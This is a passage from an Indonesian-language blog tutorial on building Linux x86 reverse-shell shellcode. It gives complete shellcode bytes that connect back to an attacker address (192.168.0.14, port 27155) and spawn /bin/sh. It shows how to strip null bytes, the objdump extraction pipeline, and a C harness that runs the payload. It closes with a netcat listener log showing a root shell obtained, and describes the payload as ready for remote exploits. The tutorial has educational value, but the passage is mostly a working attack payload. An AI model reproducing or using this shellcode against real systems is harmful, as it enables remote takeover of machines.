"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Menghilangkan Byte Terlarang
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0×0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.

Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0×0E00 dan push 0xA8C0. Push nilai 0×0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0×0E00 tanpa melibatkan angka 00 dengan cara:



; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00

Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0×0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.


b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0

Setelah mengganti “push long 0×0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:



$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:


char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

 
int main(void) {
        asm("jmp shellcode");
}

Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.


$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode

Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.


C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit

Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.
»»  READMORE...

--==[IKLAN]==--

JAVA SCRIPT

Detik Jantungku

Daftar Pengunjung

Label

--==[ Celotehan ]==--


ShoutMix chat widget

SID

SID

--==[IKLAN BANNER]==--